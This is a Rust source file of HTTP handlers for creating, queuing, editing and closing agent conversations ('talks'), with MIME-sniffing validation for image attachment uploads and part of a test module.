5867struct TalkView {
5868 #[serde(flatten)]
5869 talk: Talk,
5870 turn_bodies_md: Vec<Vec<md::Node>>,
5871 thinking: bool,
5879 context: talk::ContextUsage,
5883}
5884
5885impl TalkView {
5886 fn new(talk: Talk, thinking: bool) -> Self {
5889 let cfg = Config::discover(&talk.repo, None).ok().map(|(cfg, _)| cfg);
5890 Self::with_config(talk, thinking, cfg.as_ref())
5891 }
5892
5893 fn with_config(talk: Talk, thinking: bool, cfg: Option<&Config>) -> Self {
5896 let context = talk::context_usage(&talk, cfg);
5897 let turn_bodies_md = talk
5898 .turns
5899 .iter()
5900 .map(|turn| md::to_nodes(&turn.body, &md::ImageBase::None))
5901 .collect();
5902 Self {
5903 turn_bodies_md,
5904 thinking,
5905 context,
5906 talk,
5907 }
5908 }
5909}
5910
5911#[derive(Debug, Serialize)]
5916struct TalkDetailView {
5917 #[serde(flatten)]
5918 view: TalkView,
5919 tasks: Vec<TaskView>,
5920 roster: Vec<RosterEntry>,
5923}
5924
5925#[derive(Debug, Serialize)]
5927struct RosterEntry {
5928 id: String,
5929 kind: AgentKind,
5930 runnable: bool,
5932}
5933
5934async fn talks_list(
5939 State(ui): State<Arc<Ui>>,
5940 Query(q): Query<ListQuery>,
5941) -> ApiResult<Json<Vec<TalkView>>> {
5942 blocking(move || {
5943 let mut configs: HashMap<PathBuf, Option<Config>> = HashMap::new();
5944 Ok(Json(
5945 ui.talks
5946 .list()
5947 .into_iter()
5948 .filter(|talk| q.contains(&talk.id))
5949 .map(|talk| {
5950 let thinking = ui.is_thinking(&talk.id);
5951 let cfg = configs
5952 .entry(talk.repo.clone())
5953 .or_insert_with(|| Config::discover(&talk.repo, None).ok().map(|(c, _)| c));
5954 TalkView::with_config(talk, thinking, cfg.as_ref())
5955 })
5956 .collect(),
5957 ))
5958 })
5959 .await
5960}
5961
5962#[derive(Debug, Default, Deserialize)]
5967#[serde(default)]
5968struct NewTalk {
5969 agent: Option<String>,
5970 repo: Option<PathBuf>,
5971}
5972
5973async fn talk_post(
5976 State(ui): State<Arc<Ui>>,
5977 body: std::result::Result<Json<NewTalk>, JsonRejection>,
5978) -> ApiResult<impl IntoResponse> {
5979 let body = match body {
5983 Ok(Json(body)) => body,
5984 Err(JsonRejection::MissingJsonContentType(_)) => NewTalk::default(),
5985 Err(e) => return Err(ApiError::bad_request(e.body_text())),
5986 };
5987 let repo = body.repo.clone().unwrap_or_else(|| ui.repo.clone());
5988 let cfg = config_for(&repo).await?;
5989 let view = blocking(move || {
5990 let talk = talk::begin(&ui.talks, &cfg, repo, body.agent.as_deref())?;
5991 let thinking = ui.is_thinking(&talk.id);
5992 Ok(TalkView::new(talk, thinking))
5993 })
5994 .await?;
5995 Ok((StatusCode::CREATED, Json(view)))
5996}
5997
5998async fn talk_detail(
6000 State(ui): State<Arc<Ui>>,
6001 Path(id): Path<String>,
6002) -> ApiResult<Json<TalkDetailView>> {
6003 blocking(move || {
6004 let id = resolve_talk(&ui.talks, &id)?;
6005 let talk = ui.talks.get(&id)?;
6006 let thinking = ui.is_thinking(&talk.id);
6007 let tasks = talk::tasks_of(&ui.queue, &talk.id)
6008 .into_iter()
6009 .map(TaskView::from)
6010 .collect();
6011 let roster = Config::discover(&talk.repo, None)
6012 .map(|(cfg, _)| {
6013 cfg.agents
6014 .iter()
6015 .map(|a| RosterEntry {
6016 id: a.id.clone(),
6017 kind: a.kind,
6018 runnable: agent::installed(a),
6019 })
6020 .collect()
6021 })
6022 .unwrap_or_default();
6023 Ok(Json(TalkDetailView {
6024 view: TalkView::new(talk, thinking),
6025 tasks,
6026 roster,
6027 }))
6028 })
6029 .await
6030}
6031
6032#[derive(Debug, Default, Deserialize)]
6038#[serde(default, deny_unknown_fields)]
6039struct NewTalkTurn {
6040 text: String,
6041 attachments: Vec<String>,
6042}
6043
6044#[derive(Debug, Deserialize)]
6045#[serde(deny_unknown_fields)]
6046struct EditTalkPending {
6047 text: String,
6048 expected_text: String,
6049 expected_attachments: Vec<String>,
6050}
6051
6052#[derive(Debug, Deserialize)]
6053#[serde(deny_unknown_fields)]
6054struct ClearTalkPending {
6055 expected_text: String,
6056 expected_attachments: Vec<String>,
6057}
6058
6059async fn talk_say(
6071 State(ui): State<Arc<Ui>>,
6072 Path(id): Path<String>,
6073 body: std::result::Result<Json<NewTalkTurn>, JsonRejection>,
6074) -> ApiResult<(StatusCode, Json<TalkView>)> {
6075 let Json(body) = body.map_err(|e| ApiError::bad_request(e.body_text()))?;
6076 if body.text.trim().is_empty() && body.attachments.is_empty() {
6077 return Err(ApiError::bad_request("say something"));
6078 }
6079
6080 let id = {
6081 let ui = Arc::clone(&ui);
6082 let asked = id.clone();
6083 blocking(move || resolve_talk(&ui.talks, &asked)).await?
6084 };
6085 {
6089 let ui = Arc::clone(&ui);
6090 let id = id.clone();
6091 blocking(move || {
6092 let talk = ui.talks.get(&id)?;
6093 if !talk.status.open() {
6094 return Err(ApiError::conflict(format!(
6095 "talk {} is {} and takes no more turns",
6096 talk.short(),
6097 talk.status.as_str()
6098 )));
6099 }
6100 Ok(())
6101 })
6102 .await?;
6103 }
6104
6105 let attachments = {
6110 let ui = Arc::clone(&ui);
6111 let id = id.clone();
6112 let ids = body.attachments.clone();
6113 blocking(move || {
6114 ids.into_iter()
6115 .map(|att_id| {
6116 ui.talks.attachment_meta(&id, &att_id)?.ok_or_else(|| {
6117 ApiError::bad_request(format!("unknown attachment `{att_id}`"))
6118 })
6119 })
6120 .collect::<ApiResult<Vec<talk::Attachment>>>()
6121 })
6122 .await?
6123 };
6124
6125 let start = {
6130 let ui = Arc::clone(&ui);
6131 let id = id.clone();
6132 blocking(move || ui.begin_talk_turn_unless_pending(&id)).await?
6133 };
6134 let turn_guard = match start {
6135 TalkTurnStart::Claimed(turn_guard) => turn_guard,
6136 TalkTurnStart::Pending => {
6137 return Err(ApiError::conflict(
6138 "a queued draft is waiting; resume it, edit it, or clear it before sending another message",
6139 ));
6140 }
6141 TalkTurnStart::Foreign => {
6142 return Err(ApiError::conflict(
6143 "a turn is already running in another process; try again when it has finished",
6144 ));
6145 }
6146 TalkTurnStart::Busy => {
6147 let (tx, rx) = tokio::sync::oneshot::channel();
6163 tokio::spawn({
6164 let ui = Arc::clone(&ui);
6165 let id = id.clone();
6166 let said = body.text.clone();
6167 async move {
6168 let written = blocking({
6169 let ui = Arc::clone(&ui);
6170 let id = id.clone();
6171 move || {
6172 let mut talk = ui.talks.get(&id)?;
6173 #[cfg(test)]
6178 if let Some(gate) = ui
6179 .busy_queue_gate
6180 .lock()
6181 .unwrap_or_else(PoisonError::into_inner)
6182 .take()
6183 {
6184 let _ = gate.reached.send(());
6185 let _ = gate.release.recv();
6186 }
6187 if let Err(error) =
6188 talk::queue(&mut talk, &ui.talks, &said, attachments)
6189 {
6190 if let Ok(fresh) = ui.talks.get(&id) {
6191 if !fresh.status.open() {
6192 return Err(ApiError::conflict(format!(
6193 "talk {} is {} and takes no more turns",
6194 fresh.short(),
6195 fresh.status.as_str()
6196 )));
6197 }
6198 }
6199 return Err(ApiError::from(error));
6200 }
6201 let claim = match ui.begin_queued_talk_turn(&id)? {
6212 Some(turn_guard) => {
6213 let (cfg, _) = Config::discover(&talk.repo, None)?;
6214 Some((talk.clone(), cfg, turn_guard))
6215 }
6216 None => None,
6217 };
6218 let thinking = ui.is_thinking(&id);
6219 Ok((TalkView::new(talk, thinking), claim))
6220 }
6221 })
6222 .await;
6223 let (view, reclaimed) = match written {
6224 Ok(pair) => pair,
6225 Err(e) => {
6226 let _ = tx.send(Err(e));
6231 return;
6232 }
6233 };
6234 let _ = tx.send(Ok(view));
6237 if let Some((talk, cfg, turn_guard)) = reclaimed {
6238 let talks = ui.talks.clone();
6239 drain_loop(talk, talks, cfg, id, turn_guard).await;
6240 }
6241 }
6242 });
6243 let view = rx
6244 .await
6245 .map_err(|_| ApiError::internal("the talk turn task ended without answering"))??;
6246 return Ok((StatusCode::ACCEPTED, Json(view)));
6247 }
6248 };
6249
6250 let (talk, cfg) = {
6251 let ui = Arc::clone(&ui);
6252 let id = id.clone();
6253 blocking(move || {
6254 let talk = ui.talks.get(&id)?;
6255 let (cfg, _) = Config::discover(&talk.repo, None)?;
6256 Ok((talk, cfg))
6257 })
6258 .await?
6259 };
6260
6261 let talks = ui.talks.clone();
6262 let (tx, rx) = tokio::sync::oneshot::channel();
6277 tokio::spawn({
6278 let ui = Arc::clone(&ui);
6279 let talks = talks.clone();
6280 let id = id.clone();
6281 let said = body.text.clone();
6282 let mut talk = talk.clone();
6283 async move {
6284 let recorded = blocking({
6285 let talks = talks.clone();
6286 move || {
6287 if let Err(error) = talk::record(&mut talk, &talks, &said, attachments) {
6288 if let Ok(fresh) = talks.get(&talk.id) {
6289 if !fresh.status.open() {
6290 return Err(ApiError::conflict(format!(
6291 "talk {} is {} and takes no more turns",
6292 fresh.short(),
6293 fresh.status.as_str()
6294 )));
6295 }
6296 }
6297 return Err(ApiError::from(error));
6298 }
6299 Ok((said.trim().to_owned(), talk))
6305 }
6306 })
6307 .await;
6308 let (text, mut talk) = match recorded {
6309 Ok(pair) => pair,
6310 Err(e) => {
6311 let _ = tx.send(Err(e));
6315 return;
6316 }
6317 };
6318 let queued = talk.clone();
6319 let thinking = ui.is_thinking(&id);
6320 let _ = tx.send(Ok((queued, thinking)));
6323
6324 if let Err(e) = turn_guard.respond(&mut talk, &talks, &cfg, &text).await {
6325 tracing::warn!("talk {id} turn failed: {e:#}");
6329 }
6330 drain_loop(talk, talks, cfg, id, turn_guard).await;
6333 }
6334 });
6335
6336 let (queued, thinking) = rx
6337 .await
6338 .map_err(|_| ApiError::internal("the talk turn task ended without answering"))??;
6339
6340 Ok((StatusCode::ACCEPTED, Json(TalkView::new(queued, thinking))))
6342}
6343
6344async fn talk_pending_resume(
6348 State(ui): State<Arc<Ui>>,
6349 Path(id): Path<String>,
6350) -> ApiResult<(StatusCode, Json<TalkView>)> {
6351 let id = {
6352 let ui = Arc::clone(&ui);
6353 let asked = id.clone();
6354 blocking(move || resolve_talk(&ui.talks, &asked)).await?
6355 };
6356 let Some(turn_guard) = ui.begin_talk_turn(&id)? else {
6357 return Err(ApiError::conflict(
6358 "a talk turn is already running; the queued draft will be handled by it",
6359 ));
6360 };
6361 let (talk, cfg) = {
6362 let ui = Arc::clone(&ui);
6363 let id = id.clone();
6364 blocking(move || {
6365 let talk = ui.talks.get(&id)?;
6366 if !talk.status.open() {
6367 return Err(ApiError::conflict(format!(
6368 "talk {} is {} and takes no more turns",
6369 talk.short(),
6370 talk.status.as_str()
6371 )));
6372 }
6373 if talk.pending.is_empty() && talk.pending_attachments.is_empty() {
6374 return Err(ApiError::conflict("there is no queued draft to resume"));
6375 }
6376 let (cfg, _) = Config::discover(&talk.repo, None)?;
6377 Ok((talk, cfg))
6378 })
6379 .await?
6380 };
6381 let view = TalkView::new(talk.clone(), true);
6382 let talks = ui.talks.clone();
6383 tokio::spawn(drain_loop(talk, talks, cfg, id, turn_guard));
6384 Ok((StatusCode::ACCEPTED, Json(view)))
6385}
6386
6387async fn drain_loop(mut talk: Talk, talks: Talks, cfg: Config, id: String, turn: TalkTurnGuard) {
6403 let live_set = Arc::clone(&turn.turns);
6404 let mut turn = Some(turn);
6412 loop {
6413 if !turn.as_ref().is_some_and(TalkTurnGuard::owns) {
6414 tracing::warn!("talk {id} lost its turn lease; not draining further");
6417 let mut live = live_set.lock().unwrap_or_else(PoisonError::into_inner);
6418 if let Some(turn) = turn.take() {
6419 turn.release(&mut live);
6420 }
6421 break;
6422 }
6423 let observed = live_set
6427 .lock()
6428 .unwrap_or_else(PoisonError::into_inner)
6429 .queued
6430 .get(&id)
6431 .copied()
6432 .unwrap_or(0);
6433 let drained = blocking({
6434 let talks = talks.clone();
6435 move || {
6436 let result = talk::drain(&mut talk, &talks);
6437 Ok((talk, result))
6438 }
6439 })
6440 .await;
6441 let (next_talk, result) = match drained {
6442 Ok(drained) => drained,
6443 Err(e) => {
6444 tracing::warn!(
6445 status = %e.status,
6446 message = %e.message,
6447 "talk {id} could not start queued-text drain"
6448 );
6449 let mut live = live_set.lock().unwrap_or_else(PoisonError::into_inner);
6450 turn.take()
6451 .expect("held for the whole loop until released here")
6452 .release(&mut live);
6453 break;
6454 }
6455 };
6456 talk = next_talk;
6457 let drained = match result {
6458 Ok(Some(drained)) => drained,
6459 Ok(None) => {
6460 let mut live = live_set.lock().unwrap_or_else(PoisonError::into_inner);
6461 if live.queued.get(&id).copied().unwrap_or(0) != observed {
6462 continue;
6463 }
6464 turn.take()
6465 .expect("held for the whole loop until released here")
6466 .release(&mut live);
6467 break;
6468 }
6469 Err(e) => {
6470 tracing::warn!("talk {id} could not drain queued text: {e:#}");
6471 let mut live = live_set.lock().unwrap_or_else(PoisonError::into_inner);
6472 turn.take()
6473 .expect("held for the whole loop until released here")
6474 .release(&mut live);
6475 break;
6476 }
6477 };
6478 let responded = match turn.as_ref() {
6479 Some(turn) => turn.respond(&mut talk, &talks, &cfg, &drained).await,
6480 None => talk::respond(&mut talk, &talks, &cfg, &drained).await,
6481 };
6482 if let Err(e) = responded {
6483 tracing::warn!("talk {id} turn failed: {e:#}");
6484 }
6485 }
6486}
6487
6488async fn talk_pending_clear(
6490 State(ui): State<Arc<Ui>>,
6491 Path(id): Path<String>,
6492 body: std::result::Result<Json<ClearTalkPending>, JsonRejection>,
6493) -> ApiResult<Json<TalkView>> {
6494 let Json(body) = body.map_err(|e| ApiError::bad_request(e.body_text()))?;
6495 blocking(move || {
6496 let id = resolve_talk(&ui.talks, &id)?;
6497 let mut talk = ui.talks.get(&id)?;
6498 if !talk.status.open() {
6499 return Err(ApiError::conflict(format!(
6500 "talk {} is {} and takes no more turns",
6501 talk.short(),
6502 talk.status.as_str()
6503 )));
6504 }
6505 if !talk::clear_pending_if_matches(
6506 &mut talk,
6507 &ui.talks,
6508 &body.expected_text,
6509 &body.expected_attachments,
6510 )? {
6511 return Err(ApiError::conflict(
6512 "queued message changed; reload it before clearing",
6513 ));
6514 }
6515 let thinking = ui.is_thinking(&talk.id);
6516 Ok(Json(TalkView::new(talk, thinking)))
6517 })
6518 .await
6519}
6520
6521async fn talk_pending_edit(
6525 State(ui): State<Arc<Ui>>,
6526 Path(id): Path<String>,
6527 body: std::result::Result<Json<EditTalkPending>, JsonRejection>,
6528) -> ApiResult<Json<TalkView>> {
6529 let Json(body) = body.map_err(|e| ApiError::bad_request(e.body_text()))?;
6530 let (view, reclaimed) = blocking({
6531 let ui = Arc::clone(&ui);
6532 move || {
6533 let id = resolve_talk(&ui.talks, &id)?;
6534 let mut talk = ui.talks.get(&id)?;
6535 if !talk.status.open() {
6536 return Err(ApiError::conflict(format!(
6537 "talk {} is {} and takes no more turns",
6538 talk.short(),
6539 talk.status.as_str()
6540 )));
6541 }
6542 if !talk::edit_pending_text(
6543 &mut talk,
6544 &ui.talks,
6545 &body.text,
6546 &body.expected_text,
6547 &body.expected_attachments,
6548 )? {
6549 return Err(ApiError::conflict(
6550 "queued message changed; reload it before editing",
6551 ));
6552 }
6553 let claim = match ui.begin_queued_talk_turn(&id)? {
6554 Some(turn_guard) => {
6555 let (cfg, _) = Config::discover(&talk.repo, None)?;
6556 Some((talk.clone(), cfg, id.clone(), turn_guard))
6557 }
6558 None => None,
6559 };
6560 let thinking = ui.is_thinking(&id);
6561 Ok((TalkView::new(talk, thinking), claim))
6562 }
6563 })
6564 .await?;
6565 if let Some((talk, cfg, id, turn_guard)) = reclaimed {
6566 let talks = ui.talks.clone();
6567 tokio::spawn(drain_loop(talk, talks, cfg, id, turn_guard));
6568 }
6569 Ok(Json(view))
6570}
6571
6572#[derive(Debug, Deserialize)]
6574struct TalkAgent {
6575 agent: String,
6576}
6577
6578async fn talk_agent(
6583 State(ui): State<Arc<Ui>>,
6584 Path(id): Path<String>,
6585 Json(body): Json<TalkAgent>,
6586) -> ApiResult<Json<TalkView>> {
6587 let id = {
6588 let ui = Arc::clone(&ui);
6589 blocking(move || resolve_talk(&ui.talks, &id)).await?
6590 };
6591 let repo = {
6592 let ui = Arc::clone(&ui);
6593 let id = id.clone();
6594 blocking(move || Ok(ui.talks.get(&id)?.repo)).await?
6595 };
6596 let cfg = config_for(&repo).await?;
6597 let Some(turn_guard) = ui.begin_talk_turn(&id)? else {
6598 return Err(ApiError::conflict(
6599 "a talk turn is running; change the agent once it has answered",
6600 ));
6601 };
6602 let switched = {
6603 let ui = Arc::clone(&ui);
6604 let id = id.clone();
6605 let cfg = cfg.clone();
6606 blocking(move || {
6607 let spec = agent::pick(&cfg.agents, Some(&body.agent), &agent::installed)
6608 .map_err(ApiError::bad_request_from)?;
6609 let mut talk = ui.talks.get(&id)?;
6610 if !talk.status.open() {
6611 return Err(ApiError::conflict(format!(
6612 "talk {} is {} and takes no more turns",
6613 talk.short(),
6614 talk.status.as_str()
6615 )));
6616 }
6617 talk::switch_agent(&mut talk, &ui.talks, &spec)?;
6618 Ok(talk)
6619 })
6620 .await
6621 };
6622 let fresh = {
6627 let ui = Arc::clone(&ui);
6628 let id = id.clone();
6629 blocking(move || Ok(ui.talks.get(&id)?)).await
6630 };
6631 let draining = match fresh {
6632 Ok(talk) => {
6633 let draining = talk.status.open()
6634 && (!talk.pending.is_empty() || !talk.pending_attachments.is_empty());
6635 let talks = ui.talks.clone();
6636 tokio::spawn(drain_loop(talk, talks, cfg, id, turn_guard));
6637 draining
6638 }
6639 Err(_) => false,
6640 };
6641 let talk = switched?;
6642 Ok(Json(TalkView::new(talk, draining)))
6643}
6644
6645async fn talk_close(
6647 State(ui): State<Arc<Ui>>,
6648 Path(id): Path<String>,
6649) -> ApiResult<Json<TalkView>> {
6650 blocking(move || {
6651 let id = resolve_talk(&ui.talks, &id)?;
6652 let mut talk = ui.talks.get(&id)?;
6653 talk::close(&mut talk, &ui.talks)?;
6654 let thinking = ui.is_thinking(&talk.id);
6655 Ok(Json(TalkView::new(talk, thinking)))
6656 })
6657 .await
6658}
6659
6660async fn talk_reopen(
6662 State(ui): State<Arc<Ui>>,
6663 Path(id): Path<String>,
6664) -> ApiResult<Json<TalkView>> {
6665 blocking(move || {
6666 let id = resolve_talk(&ui.talks, &id)?;
6667 let mut talk = ui.talks.get(&id)?;
6668 talk::reopen(&mut talk, &ui.talks)?;
6669 let thinking = ui.is_thinking(&talk.id);
6670 Ok(Json(TalkView::new(talk, thinking)))
6671 })
6672 .await
6673}
6674
6675async fn talk_delete(State(ui): State<Arc<Ui>>, Path(id): Path<String>) -> ApiResult<StatusCode> {
6685 blocking(move || {
6686 let id = resolve_talk(&ui.talks, &id)?;
6687 ui.talks.remove(&id)?;
6688 Ok(StatusCode::NO_CONTENT)
6689 })
6690 .await
6691}
6692
6693fn resolve_talk(store: &Talks, id: &str) -> ApiResult<String> {
6695 pick(store.list().into_iter().map(|t| t.id).collect(), id, "talk")
6696}
6697
6698async fn talk_attachment_post(
6701 State(ui): State<Arc<Ui>>,
6702 Path(id): Path<String>,
6703 headers: HeaderMap,
6704 body: Bytes,
6705) -> ApiResult<(StatusCode, Json<talk::Attachment>)> {
6706 let mime = validate_attachment(&headers, &body)?;
6707 let name = filename_header(&headers);
6708 let data = body.to_vec();
6709 blocking(move || {
6710 let id = resolve_talk(&ui.talks, &id)?;
6711 let att = ui.talks.put_attachment(&id, mime, &name, &data)?;
6712 Ok((StatusCode::CREATED, Json(att)))
6713 })
6714 .await
6715}
6716
6717async fn talk_attachment_get(
6720 State(ui): State<Arc<Ui>>,
6721 Path((id, att)): Path<(String, String)>,
6722) -> ApiResult<Response> {
6723 blocking(move || {
6724 let id = resolve_talk(&ui.talks, &id)?;
6725 let Some((meta, data)) = ui.talks.read_attachment(&id, &att)? else {
6726 return Err(ApiError::not_found(format!(
6727 "talk {id} has no attachment `{att}`"
6728 )));
6729 };
6730 Ok(attachment_response(&meta.mime, data))
6731 })
6732 .await
6733}
6734
6735fn validate_attachment(headers: &HeaderMap, data: &[u8]) -> ApiResult<&'static str> {
6746 if data.len() > ATTACHMENT_MAX_BYTES {
6747 return Err(ApiError::bad_request(format!(
6748 "attachment is {} bytes, over the {} MiB limit",
6749 data.len(),
6750 ATTACHMENT_MAX_BYTES / (1024 * 1024)
6751 ))
6752 .with_status(StatusCode::PAYLOAD_TOO_LARGE));
6753 }
6754 if data.is_empty() {
6755 return Err(ApiError::bad_request("attachment is empty"));
6756 }
6757 let declared = declared_mime(headers)?;
6758 match sniffed_mime(data) {
6759 Some(sniffed) if sniffed == declared => Ok(declared),
6760 Some(sniffed) => Err(ApiError::bad_request(format!(
6761 "Content-Type said `{declared}` but the file's own bytes look like `{sniffed}`"
6762 ))),
6763 None => Err(ApiError::bad_request(
6764 "the file's bytes do not match any accepted image format",
6765 )),
6766 }
6767}
6768
6769fn declared_mime(headers: &HeaderMap) -> ApiResult<&'static str> {
6773 let raw = headers
6774 .get(header::CONTENT_TYPE)
6775 .and_then(|v| v.to_str().ok())
6776 .unwrap_or("")
6777 .split(';')
6778 .next()
6779 .unwrap_or("")
6780 .trim()
6781 .to_ascii_lowercase();
6782 ATTACHMENT_MIME_WHITELIST
6783 .iter()
6784 .find(|&&m| m == raw)
6785 .copied()
6786 .ok_or_else(|| {
6787 if raw == "image/svg+xml" {
6788 ApiError::bad_request(
6789 "SVG is not accepted: it can carry active content (e.g. a <script>), \
6790 not just a picture",
6791 )
6792 } else if raw.is_empty() {
6793 ApiError::bad_request("Content-Type is required for an attachment upload")
6794 } else {
6795 ApiError::bad_request(format!(
6796 "`{raw}` is not an accepted attachment type; use image/png, image/jpeg, \
6797 image/gif or image/webp"
6798 ))
6799 }
6800 })
6801}
6802
6803fn sniffed_mime(data: &[u8]) -> Option<&'static str> {
6806 if data.starts_with(b"\x89PNG\r\n\x1a\n") {
6807 Some("image/png")
6808 } else if data.starts_with(b"\xff\xd8\xff") {
6809 Some("image/jpeg")
6810 } else if data.starts_with(b"GIF87a") || data.starts_with(b"GIF89a") {
6811 Some("image/gif")
6812 } else if data.len() >= 12 && &data[0..4] == b"RIFF" && &data[8..12] == b"WEBP" {
6813 Some("image/webp")
6814 } else {
6815 None
6816 }
6817}
6818
6819fn filename_header(headers: &HeaderMap) -> String {
6825 headers
6826 .get(FILENAME_HEADER)
6827 .and_then(|v| v.to_str().ok())
6828 .map(str::trim)
6829 .filter(|s| !s.is_empty())
6830 .unwrap_or("attachment")
6831 .to_owned()
6832}
6833
6834fn attachment_response(mime: &str, body: Vec<u8>) -> Response {
6841 let content_type = ATTACHMENT_MIME_WHITELIST
6842 .iter()
6843 .find(|&&m| m == mime)
6844 .copied()
6845 .unwrap_or("application/octet-stream");
6846 (
6847 [
6848 (header::CONTENT_TYPE, content_type),
6849 (header::X_CONTENT_TYPE_OPTIONS, "nosniff"),
6850 ],
6851 body,
6852 )
6853 .into_response()
6854}
6855
6856async fn config_for(repo: &FsPath) -> ApiResult<Config> {
6864 let repo = repo.to_path_buf();
6865 blocking(move || {
6866 let (cfg, _) = Config::discover(&repo, None)?;
6867 Ok(cfg)
6868 })
6869 .await
6870}
6871
6872fn pick(ids: Vec<String>, prefix: &str, what: &str) -> ApiResult<String> {
6878 let mut hits = ids
6879 .into_iter()
6880 .filter(|id| id.starts_with(prefix) || id.ends_with(prefix));
6881 match (hits.next(), hits.next()) {
6882 (Some(one), None) => Ok(one),
6883 (None, _) => Err(ApiError::not_found(format!("no {what} matches `{prefix}`"))),
6884 (Some(a), Some(b)) => Err(ApiError::bad_request(format!(
6885 "`{prefix}` matches more than one {what}, including {a} and {b}"
6886 ))),
6887 }
6888}
6889
6890#[cfg(test)]
6891mod tests {
6892
6893 #[test]
6894 fn holder_reads_the_lease_not_the_record() {
6895 let mut q = Question::new(
6896 "run".to_owned(),
6897 "implement".to_owned(),
6898 "impl-A".to_owned(),
6899 "which?".to_owned(),
6900 String::new(),
6901 Vec::new(),
6902 );
6903 assert_eq!(holder_of(&q, None), None, "no `magi ask` filed it");
6904 q.cwd = Some("/tmp".to_owned());
6905 assert_eq!(holder_of(&q, None), Some("nobody"));
6906 let beat = |kind, ago: i64| ask::Lease {
6907 kind,
6908 pid: 1,
6909 beat_at: jiff::Timestamp::from_second(jiff::Timestamp::now().as_second() - ago)
6910 .unwrap(),
6911 };
6912 let fresh = beat(ask::WaiterKind::Asker, 1);
6913 assert_eq!(holder_of(&q, Some(&fresh)), Some("asker"));
6914 let daemon = beat(ask::WaiterKind::Daemon, 1);
6915 assert_eq!(holder_of(&q, Some(&daemon)), Some("daemon"));
6916 let stale = beat(ask::WaiterKind::Asker, 3600);
6917 assert_eq!(holder_of(&q, Some(&stale)), Some("nobody"));
6918
6919 let mut c = Question::new(
6922 "task".to_owned(),
6923 crate::conduct::NODE.to_owned(),
6924 "conduct".to_owned(),
6925 "which?".to_owned(),
6926 String::new(),
6927 Vec::new(),
6928 );
6929 assert_eq!(holder_of(&c, None), Some("nobody"));
6930 c.cwd = Some("/tmp".to_owned());
6931 c.deputy = Some(ask::Deputy::new("brief".to_owned()));
6932 assert_eq!(holder_of(&c, Some(&fresh)), Some("deputy"));
6933 let deputy = beat(ask::WaiterKind::Deputy, 1);
6934 assert_eq!(holder_of(&c, Some(&deputy)), Some("deputy"));
6935 assert_eq!(holder_of(&c, Some(&stale)), Some("nobody"));
6936
6937 let mut r = Question::new(
6939 String::new(),
6940 crate::bump::NOTICE_NODE.to_owned(),
6941 "release-watch".to_owned(),
6942 "stuck?".to_owned(),
6943 String::new(),
6944 vec!["hold".to_owned()],
6945 );
6946 assert_eq!(holder_of(&r, None), Some("nobody"));
6947 r.deputy = Some(ask::Deputy::new("brief".to_owned()));
6948 assert_eq!(holder_of(&r, Some(&fresh)), Some("deputy"));
6949 r.deputy = None;
6951 r.seat = "bump".to_owned();
6952 assert_eq!(holder_of(&r, None), None);
6953
6954 let mut m = Question::new(
6957 "run".to_owned(),
6958 crate::land::APPROVAL_NODE.to_owned(),
6959 "land".to_owned(),
6960 "merge?".to_owned(),
6961 String::new(),
6962 Vec::new(),
6963 );
6964 assert_eq!(holder_of(&m, None), Some("nobody"));
6965 assert_eq!(
6966 holder_of(&m, Some(&fresh)),
6967 Some("nobody"),
6968 "a lease with no deputy is not a listener"
6969 );
6970 m.deputy = Some(ask::Deputy::new("brief".to_owned()));
6971 assert_eq!(holder_of(&m, Some(&deputy)), Some("deputy"));
6972 assert_eq!(holder_of(&m, Some(&stale)), Some("nobody"));
6973 assert_eq!(holder_of(&m, None), Some("nobody"));
6974 }
6975
6976 fn stub_config() -> Config {
6977 Config {
6980 agents: vec![crate::config::AgentSpec {
6981 id: "stub".to_owned(),
6982 kind: AgentKind::Command,
6983 model: None,
6984 command: vec!["true".to_owned()],
6985 extra_args: Vec::new(),
6986 env: Default::default(),
6987 prompt_delivery: None,
6988 }],
6989 ..Config::default()
6990 }
6991 }
6992
6993 fn plain_question(seat: &str) -> Question {
6994 Question::new(
6995 String::new(),
6996 "n".to_owned(),
6997 seat.to_owned(),
6998 "s".to_owned(),
6999 String::new(),
7000 Vec::new(),
7001 )
7002 }
7003
7004 #[test]
7005 fn deputies_enabled_follows_the_config() {
7006 let on = stub_config();
7007 assert!(crate::deputy::can_start(Some(&on), ""));
7008 assert!(crate::deputy::can_start(Some(&on), "stub"));
7009 let mut off = on.clone();
7010 off.daemon.max_deputies = 0;
7011 assert!(!crate::deputy::can_start(Some(&off), ""));
7012 let mut empty = on;
7013 empty.agents.clear();
7014 assert!(!crate::deputy::can_start(Some(&empty), ""));
7015 assert!(!crate::deputy::can_start(None, ""));
7016 }
7017
7018 #[test]
7019 fn question_views_load_the_config_once() {
7020 let dir = TempDir::new().unwrap();
7021 let store = ask::Questions::at(dir.path().to_path_buf());
7022 let mut with_deputy = plain_question("b");
7023 with_deputy.deputy = Some(ask::Deputy::new("brief".to_owned()));
7024 let qs = vec![plain_question("a"), with_deputy, plain_question("c")];
7025
7026 let calls = std::cell::Cell::new(0usize);
7027 let views = question_views(qs.clone(), &store, || {
7028 calls.set(calls.get() + 1);
7029 Some(stub_config())
7030 });
7031 assert_eq!(calls.get(), 1);
7032 assert_eq!(views.len(), 3);
7033 for (v, q) in views.iter().zip(&qs) {
7034 assert_eq!(
7035 v.deputies_enabled,
7036 crate::deputy::can_start(Some(&stub_config()), crate::deputy::agent_of(q))
7037 );
7038 }
7039
7040 let views = question_views(qs, &store, || None);
7041 assert!(views.iter().all(|v| !v.deputies_enabled));
7042
7043 let calls = std::cell::Cell::new(0usize);
7044 let views = question_views(Vec::new(), &store, || {
7045 calls.set(calls.get() + 1);
7046 None
7047 });
7048 assert!(views.is_empty());
7049 assert_eq!(calls.get(), 0);
7050 }
7051
7052 use pretty_assertions::assert_eq;
7053 use serde_json::Value;
7054 use tempfile::TempDir;
7055 use tokio::io::{AsyncReadExt as _, AsyncWriteExt as _};
7056
7057 use super::*;
7058 use crate::config::Config;
7059 use crate::queue::Source;
7060
7061 const SETTLE_STEPS: usize = 3_000;
7072
7073 struct Fixture {
7079 home: TempDir,
7080 addr: SocketAddr,
7081 }
7082
7083 impl Fixture {
7084 async fn start() -> Self {
7085 Self::with_loop(launch_idle).await
7086 }
7087
7088 async fn with_loop(launch: Launch) -> Self {
7090 let home = TempDir::new().expect("temp home");
7091 let addr = Self::serve(home.path(), PathBuf::from("/repo/magi"), launch, None).await;
7092 Self { home, addr }
7093 }
7094
7095 async fn with_repo(repo: PathBuf) -> Self {
7099 let home = TempDir::new().expect("temp home");
7100 let addr = Self::serve(home.path(), repo, launch_idle, None).await;
7101 Self { home, addr }
7102 }
7103
7104 async fn with_repo_and_machine(repo: PathBuf, machine: PathBuf) -> Self {
7107 let home = TempDir::new().expect("temp home");
